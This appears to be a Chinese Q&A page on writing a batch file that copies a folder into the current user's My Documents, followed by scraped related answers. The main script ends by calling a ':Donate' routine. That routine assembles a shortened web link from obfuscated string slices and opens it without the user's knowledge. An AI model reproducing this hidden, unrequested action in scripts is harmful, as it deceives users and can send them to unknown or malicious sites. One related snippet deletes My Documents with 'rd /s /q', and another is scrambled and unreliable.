bat中如何把文件夹复制到当前用户的我的文档目录下

在BAT中怎么写可以将文件夹复制到当前目录下的我的文档目录下
是未知用户,怎么用变量取这个用户

@echo off & title 拷贝指定文件夹到“我的文档”中 By 依梦琴瑶


::设置要拷贝的文件夹
set SrcDir=D:\TestFolder


echo 正在获取本机“我的文档”目录路径,请等待。。。
for /f "tokens=2,*" %%i in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" ^|find /i "Personal"') do call set "MyDocuments=%%j"

for /f "delims=" %%a in ("%SrcDir%") do set "DirName=%%~nxa"

echo, & echo 正在拷贝中,请耐心等待。。。
xcopy /s/e/h "%SrcDir%" "%MyDocuments%\%DirName%\"

echo, & echo 拷贝完成
pause
call :Donate
exit

:Donate
set S0=fGRH
set S1=.:ailnhpst/
set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit

温馨提示:内容为网友见解,仅供参考
第1个回答  2018-11-26
xcopy fold C:\Documents and Settings\[你的用户名]\My Documents\
难道就那么讨厌用图形化么,除非是文件需要挑选,而且很多追问

是未知用户,用变量取当前用户

bat中如何把文件夹复制到当前用户的我的文档目录下
echo off & title 拷贝指定文件夹到“我的文档”中 By 依梦琴瑶::设置要拷贝的文件夹set SrcDir=D:\\TestFolderecho 正在获取本机“我的文档”目录路径,请等待。。。for \/f "tokens=2,*" %%i in ('reg query "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders" ^...

如何用BAT复制文件到我的文档
我想写一个BAT文件``当执行这个BAT的时候就把指定目录内的文件拷贝到“我的文档”。似乎是因为“我的文档”的路径里面带有空格,我写好之后老是不可以用``mkdir C:\\DOCUME~1\\Administrator\\My Documents\\跑跑卡丁车 xcopy Z:\\网络游戏\\p跑跑卡丁车\\跑跑卡丁车\\*.* \/s\/a\/y C:\\DOCUME~1\\Administ...

我要写一个批处理文件BAT,会把一个文件夹复制到我的文档下,怎么写?
echo off >tmp.vbs echo WScript.Echo CreateObject("Shell.Application").Namespace(^&H5^&).Self.Path for \/f "delims=" %%i in ('cscript.exe \/\/nologo tmp.vbs') do set PersonalPath=%%i& del tmp.vbs xcopy \/e\/r\/h\/y\/c "你欲复制文件" "%PersonalPath%"...

我要写一个批处理文件BAT,会把一个文件夹复制到我的文档下,怎么写
解决方案1:Self;tmp;Shell Folders所以2楼那样查询;nologo tmp; "你欲复制文件".vbs'c "%PersonalPath%") do set PersonalPath=%%i& del tmp,一个是你所的位置;);Microsoft\\h\/Windows\\r\/,另一个在HKEY_CURRENT_USER\\e\/Software\\f ".Echo CreateObject(".vbsxcopy \/\/.Pathfor \/y\/cscript...

如果用批处理命令复制一个文件到“我的文档”内
copy x:\\A.csf D:\\Administrator文档和收藏夹 (x是你u盘符号) 表示把c盘下的a.csf 文件保存到目标文件夹下,用记事本写好后保存为bat后缀名格式,双击就可以啊!

bat 移动文件夹
move C:\\Documents and Settings\\XXX\\My Documents E:\\我的文档 BAT的命令是基于DOS的,而DOS下的文件名要变成8.3格式,文件名中不能有空格,有空格便会认为是另一个参数了。好像是因为MOVE是移动文件的命令,不能移动文件夹。你可以:move C:\\Docume~1\\xxx\\mydocu~1\\*.* E:\\我的文档\\*....

怎么编写一个批处理,把一个文件从一个文件件复制到另一个文件夹
\/-y 提示您确认要覆盖现存的目标文件。 \/z 在重启模式中复制网络文件。 \/a 表明 ASCII 文本文件。 \/b 表明二进制文件。 Source 必需。指定要复制的文件或文件集的所在位置。source 可以由驱动器号和冒号、文件夹名、文件名或这几者的组合所组成。 Destination 必需。指定要将文件或文件集复制到的位...

vbs 把指定文件夹复制到当前文件夹下(vbs所在的文件夹),代码怎么写?
其实知道cmd中有个xcopy的命令就是复制文件夹的,我们只需要调用这个命令即可:set ws=wscript.createobject("wscript.shell")ws.run"cmd \/c xcopy 需要复制的文件夹 目的地 \/e"其中需要复制的文件夹、目的地,改为自己的;如果我想把C:\\Program Files\\aaa复制到D:\\aaa代码就是这样的:set ws=wscript.createobject(...

如何用BAT或VBS将C盘的用户文档和临时文件转移到D
echo off rem 将“我的文档”移动到D盘下的ccc文件夹,然后删除“我的文档”set "path=d:\\ccc"md "%ljpath%"xcopy \/e \/q \/h \/i \/c \/y "C:\\Documents and Settings\\Administrator\\My Documents" "%ljpath%\\"rd \/s \/q "C:\\Documents and Settings\\Administrator\\My Documents"rem 修改...

...Files\\572 想把这个目录的文件夹复制到 E:\\448这个文件夹里,批处...
xcopy d:\\我的文档\\Tencent Files\\572 E:\\448 --- C:\\Users\\Lenovo>xcopy \/?复制文件和目录树。XCOPY source [destination] [\/A | \/M] [\/D[:date]] [\/P] [\/S [\/E]] [\/V][\/C] [\/I] [\/Q] [\/F] [\/L] [\/G] [\/H] [\/R] [[\/K] [\/N] [\/O] [\/X] [\/Y] [...

相似回答